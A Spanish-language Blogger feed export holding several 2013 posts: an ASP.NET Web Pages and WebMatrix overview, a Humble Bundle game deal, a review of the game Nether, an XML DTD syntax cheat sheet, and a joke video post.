<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_9d39070cb0694c108b7bbbaf1ae6d61f" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><div></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> @TwitterGoodies.Search(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"asp.net"</span>)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></div></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Este es el resultado que genera el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">helper</em> Search de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Twitter.Helper 1.0</em>, todo esto añadiendo una sola línea de código:</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984856.002(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">5 – Plantillas de sitios web en WebMatrix para reducir los tiempos de desarrollo</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Si elegimos Microsoft WebMatrix como entorno de desarrollo, podemos reducir aún más los tiempos de desarrollo, creando las aplicaciones ASP.NET Web Pages a partir de las plantillas que incluye WebMatrix. Estas plantillas incluyen la estructura y funcionalidad básica sobre las que crear nuevas aplicaciones. Las plantillas existentes implementan funcionalidad como autenticación de usuarios por formularios, procesamiento de pedidos para tienda online, funcionalidad para subir y compartir fotos o creación de calendarios.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984856.003(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><br /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Fuente: </span><a href="http://msdn.microsoft.com/es-es/asp.net/hh984851" target="_blank">http://msdn.microsoft.com/es-es/asp.net/hh984851</a></div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-90018743610593545802013-11-05T23:24:00.001+01:002013-11-16T14:49:02.648+01:003.50 € Pack: Batman Asylum Goty, Batman Arkham City Goty, Fear 2 y 3,Scribble Nauts y Señor de los anillos. Pack para Steam<div class="separator" style="clear: both; text-align: left;">
Buenas os informo de este pack Bundle, que por 4.50$, es decir 3.45€ os llevaís los siguientes juegos para steam, hasta el 18 de Noviembre del 2013:</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<br />
<ul>
<li><span style="font-family: inherit;"><span style="background-color: white; font-weight: bold; line-height: 20px; outline: 0px; position: relative;"><span style="color: black;"><a href="https://www.humblebundle.com/#game-info-scribblenautsunlimited" style="display: inline !important; outline: 0px; position: relative; text-decoration: none;">Scribblenauts</a><u> </u></span></span><span style="color: black; display: inline !important; font-weight: bold; line-height: 20px; outline: 0px; position: relative;"><a href="https://www.humblebundle.com/#game-info-scribblenautsunlimited" style="display: inline !important; outline: 0px; position: relative; text-decoration: none;">Unlimited</a></span></span></li>
<li><a href="https://www.humblebundle.com/#game-info-batmanarkhamcitygoty" style="background-color: white; display: inline !important; font-weight: bold; line-height: 20px; position: relative; text-decoration: none;"><span style="font-family: inherit;">Batman: Arkham City GOTY</span></a></li>
<li><a href="https://www.humblebundle.com/#game-info-batmanarkhamasylumgoty" style="background-color: white; display: inline !important; font-weight: bold; line-height: 20px; position: relative; text-decoration: none;"><span style="font-family: inherit;">Batman: Arkham Asylum GOTY</span></a></li>
<li><a href="https://www.humblebundle.com/#game-info-fear2" style="background-color: white; display: inline !important; font-weight: bold; line-height: 20px; position: relative; text-decoration: none;"><span style="font-family: inherit;">F.E.A.R. 2:</span></a></li>
<li><a href="https://www.humblebundle.com/#game-info-fear2" style="display: inline !important; font-weight: bold; line-height: 20px; position: relative; text-decoration: none;"><span style="font-family: inherit;">Project Origin</span></a></li>
<li><a href="https://www.humblebundle.com/#game-info-fear3" style="background-color: white; display: inline !important; font-weight: bold; line-height: 20px; position: relative; text-decoration: none;"><span style="font-family: inherit;">F.E.A.R. 3</span></a></li>
<li><span style="background-color: white; font-weight: bold; line-height: 20px; position: relative;"><span style="color: black; font-family: inherit;"><a href="https://www.humblebundle.com/#game-info-lotrwarinthenorth" style="display: inline !important; position: relative; text-decoration: none;">Lord of the Rings War in North</a></span></span></li>
</ul>
En <a href="https://www.humblebundle.com/" target="_blank">https://www.humblebundle.com/</a><br />
<br />
* Han añadido varios juegos más: Guardianes de la tierra media, un DLC para éste, FEAR 1, Mortal Kombat Arcade collection y un DLC para el Bataman Origins.<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.humblebundle.com/" target="_blank"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN4Y81vvbHtxt0PIWrxE5-_MuaaIfCNx-gbprp-ZxyWPyxuK5doS7H_JWEpPsnDSBDMgtACyi8scDuhOB7dlmVocJETxfaT_qBD84gp3npZbqrGVAGAShOLFEn0TP2bJfBYL8nz1kSel8/s400/ofertahumble.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Es un pack que se puede pagar por Paypal, y te dan las claves para Steam. Comprobado por un servidor.</div>
<div class="separator" style="clear: both; text-align: left;">
A disfrutar.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Saludos.</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-62188777940759249252013-11-05T16:04:00.001+01:002013-11-05T16:05:44.624+01:00Nether Pc Beta MMO supervivencia zombi infectados - Steam - AnálisisNuevo juego de supervivencia zombie al estilo Dayz o Warz. En este caso no son zombis, sino que son infectados que se han convertido en unos bichos mutantes.<br />
<br /><div align="center">
<script async="" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- jabatogames_sidebar-right-1_AdSense1_200x200_as -->
<br />
<ins class="adsbygoogle" data-ad-client="ca-pub-4441085534184075" data-ad-slot="4152399570" style="display: inline-block; height: 200px; width: 200px;"></ins><script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</div>
El juego tiene más mecánica de shooter FPS, aunque tiene todos los componentes de supervivencia, ya que las armas tendrás que ir encontrándolas así como la comida, bebida, antibióticos, vendajes, etc... que estarán repartidas por una Chicago postapocalíptica perfectamente recreada, con una iluminación brutal y una serie de detalles en pantalla creando una atmósfera única.<br />
<br />
El juego se caracteriza por ser (por ahora) PVP, así que no te puedes fiar de nadie.<br />
<br />
Os dejo un vídeo mostrándoos el juego, los escenarios y demás así como un pequeño gameplay.<br />
<br />
<br />
<div align="center">
<iframe width="420" height="315" src="//www.youtube.com/embed/HQNUrfi4P0E" frameborder="0" allowfullscreen></iframe>
</div>
<br />
Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-25279993361138911172013-11-02T17:40:00.000+01:002013-11-25T20:50:16.435+01:00DTD - Resumen - Cheat Sheet - Elementos, atributos, tipos, entidades...<h2 id="L751" style="background-color: #f2f9e3; clear: both; font-family: sans-serif; font-size: 19px; text-align: justify;">
Referencia a DTD</h2>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">DTD en el propio documento<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!DOCTYPE nombre [
... declaraciones ...
]></pre>
</div>
</li>
<li style="clear: both;">DTD en un documento externo para una única aplicación:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!DOCTYPE nombre SYSTEM "uri"></pre>
</div>
<div style="margin-bottom: 5px; margin-top: 5px;">
Combinar una DTD externa con una DTD interna:</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!DOCTYPE nombre SYSTEM "uri" [
... declaraciones ...
]></pre>
</div>
</li>
<li style="clear: both;">DTD en un documento externo para varias aplicaciones:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!DOCTYPE nombre PUBLIC "fpi" "uri"></pre>
</div>
<div style="margin-bottom: 5px; margin-top: 5px;">
Combinar una DTD externa con una DTD interna:</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!DOCTYPE nombre PUBLIC "fpi" "uri" [
... declaraciones ...
]></pre>
</div>
</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
En todos estos casos:</div>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">"nombre" es el nombre del tipo de documento XML, que debe coincidir con el nombre del elemento raíz del documento XML.</li>
<li style="clear: both;">"uri" es el camino (absoluto o relativo) hasta la DTD.</li>
<li style="clear: both;">"fpi" es un indentificador público formal (Formal Public Identifier).</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
</div>
<h2 id="L843" style="background-color: #f2f9e3; clear: both; font-family: sans-serif; font-size: 19px; text-align: justify;">
Declaración de entidades</h2>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">Entidades internas:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY nombreEntidad "valorEntidad"></pre>
</div>
</li>
<li style="clear: both;">Entidad externa (archivo de texto):<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY nombreEntidad SYSTEM "uri"></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY nombreEntidad PUBLIC "fpi" "uri"></pre>
</div>
</li>
<li style="clear: both;">Entidad externa (archivo no de texto):<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY nombreEntidad SYSTEM "uri" NDATA tipo></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY nombreEntidad PUBLIC "fpi" "uri" NDATA tipo></pre>
</div>
</li>
<li style="clear: both;">Entidades paramétricas:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY % nombreEntidad "valorEntidad"></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY % nombreEntidad SYSTEM "uri"></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ENTITY % nombreEntidad SYSTEM "uri" NDATA tipo></pre>
</div>
</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
En todos estos casos:</div>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">"nombreEntidad" es el nombre de la entidad.</li>
<li style="clear: both;">"valorEntidad" es el valor de la entidad.</li>
<li style="clear: both;">"uri" es el camino (absoluto o relativo) hasta un archivo.</li>
<li style="clear: both;">"tipo" es el tipo de archivo (gif, jpg, etc).</li>
<li style="clear: both;">"fpi" es un indentificador público formal (Formal Public Identifier).</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
<span style="font-size: 19px;">Declaración de notaciones</span></div>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
Las notaciones se usan en XML para definir las entidades externas que no va a analizar en procesador XML (aunque sí lo hará la aplicación que trate un documento). Para hacer referencia estas entidades no se utiliza la notación habitual (&nombreEntidad;), sino que se utiliza el nombre de la entidad directamente.</div>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
<span style="font-size: 19px;"><br /></span>
<span style="font-size: 19px;">Declaración de elementos</span></div>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">Elementos:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ELEMENT nombreElemento (contenido)></pre>
</div>
</li>
<li style="clear: both;">Contenido:<ul style="margin-top: 0px;">
<li style="clear: both;"><strong>EMPTY</strong>: elemento vacío. </li>
<li style="clear: both;"><strong>(#PCDATA)</strong>: texto</li>
<li style="clear: both;"><strong>ANY</strong>: cualquier cosa.</li>
</ul>
<ul style="margin-top: 0px;">
<li style="clear: both;"><strong>, (coma)</strong>: elementos en el orden indicado.</li>
<li style="clear: both;"><strong>| (o lógico)</strong>: contiene uno de los dos elementos.</li>
<li style="clear: both;"><strong>?</strong>: elemento puede aparecer o no, pero sólo una vez.</li>
<li style="clear: both;"><strong>*</strong>: elemento puede no aparecer o aparecer una o más veces.</li>
<li style="clear: both;"><strong>+</strong>: elemento tiene que aparecer una o más veces (no puede no aparecer).</li>
<li style="clear: both;"><strong>()</strong>: agrupar expresiones.</li>
</ul>
</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
<span style="font-size: 19px;">Declaración de atributos</span></div>
<ul style="background-color: #f2f9e3; font-family: sans-serif; margin-top: 0px; text-align: justify;">
<li style="clear: both;">Atributos:<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ATTLIST nombreElemento nombreAtributo tipoAtributo valorInicialAtributo ></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ATTLIST nombreElemento nombreAtributo1 tipoAtributo1 valorInicialAtributo1>
<!ATTLIST nombreElemento nombreAtributo2 tipoAtributo2 valorInicialAtributo2></pre>
</div>
<div class="codxml" style="background-color: #dddddd; border: 2px solid black; margin: 5px 20px; padding: 0px 10px;">
<pre><!ATTLIST nombreElemento
nombreAtributo1 tipoAtributo1 valorInicialAtributo1
nombreAtributo2 tipoAtributo2 valorInicialAtributo2
></pre>
</div>
<div style="margin-bottom: 5px; margin-top: 5px;">
en la que:</div>
<ul style="margin-top: 0px;">
<li style="clear: both;">"nombreElemento" es el nombre del elemento para el que se define un atributo.</li>
<li style="clear: both;">"nombreAtributo" es el nombre del atributo.</li>
<li style="clear: both;">"tipoAtributo" es el tipo de datos .</li>
<li style="clear: both;">"valorInicialAtributo" es el valor predeterminado del atributo (aunque también puede indicar otras cosas).</li>
</ul>
</li>
<li style="clear: both;">Tipos de atributos:<ul style="margin-top: 0px;">
<li style="clear: both;"><strong>CDATA</strong>: caracteres (sin restricciones). </li>
<li style="clear: both;"><strong>NMTOKEN</strong>: letras, dígitos, y los caracteres punto ".", guión "-", subrayado "_" y dos puntos ":". </li>
<li style="clear: both;"><strong>NMTOKENS</strong>: letras, dígitos, y los caracteres punto ".", guión "-", subrayado "_", dos puntos ":" (como el tipo NMTOKEN) y también espacios en blanco. </li>
<li style="clear: both;"><strong>valores</strong>: valores de una lista. Lista entre paréntesis, con términos separados por una barra vertical "|". términos entre comillas simples o dobles si contienen espacios en blanco.</li>
<li style="clear: both;"><strong>ID</strong>: valor no se puede repetir en otros elementos o atributos. </li>
<li style="clear: both;"><strong>IDREF</strong>: valor debe coincidir con el valor del atributo ID de otro elemento.</li>
<li style="clear: both;"><strong>IDEREFS</strong>: valor es una serie de valores separados por espacios que coinciden con el valor del atributo ID de otros elementos.</li>
<li style="clear: both;"><strong>ENTITY</strong>: entidad definida en la DTD.</li>
<li style="clear: both;"><strong>ENTITIES</strong>: alguna de las entidades de una lista de entidades definida en la DTD.</li>
<li style="clear: both;"><strong>NOTATION</strong>: notación definida en la DTD.</li>
</ul>
</li>
<li style="clear: both;">Valores iniciales:<ul style="margin-top: 0px;">
<li style="clear: both;"><strong>#REQUIRED</strong>: el atributo es obligatorio, aunque no se especifica ningún valor predeterminado. </li>
<li style="clear: both;"><strong>#IMPLIED</strong>: el atributo no es obligatorio y no se especifica ningún valor predeterminado. </li>
<li style="clear: both;"><strong>#FIXED valor</strong>: el atributo tiene un valor fijo. </li>
<li style="clear: both;"><strong>valor</strong>: el atributo tiene un valor predeterminado. </li>
</ul>
</li>
</ul>
<div style="background-color: #f2f9e3; font-family: sans-serif; margin-bottom: 5px; margin-top: 5px; text-align: justify;">
Fuente: <a href="http://www.mclibre.org/consultar/xml/lecciones/xml_dtd_resumen.html" style="background-color: transparent;" target="_blank">http://www.mclibre.org/consultar/xml/lecciones/xml_dtd_resumen.html</a><br />
<a href="http://www.mclibre.org/consultar/xml/" target="_blank">http://www.mclibre.org/consultar/xml/</a></div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-25447557121873183352013-11-01T03:17:00.003+01:002013-11-01T03:17:32.035+01:00Blatter Chiquito de la Calzada - Chiste del Guardia - Cristiano RonaldoOs dejo el mejor chiste de Seep Blatter cuando imitó a Cristiano Ronaldo. Blatter es poseído por el espíritu de chiquito de la calzada.<br />
<br />
Este es el mejor vídeo sin lugar a dudas. :-)<br />
<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/2npk7c-SJTo" width="420"></iframe>
</div>
<br />
Si les gustó compártanlo.<br />
<br />
Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0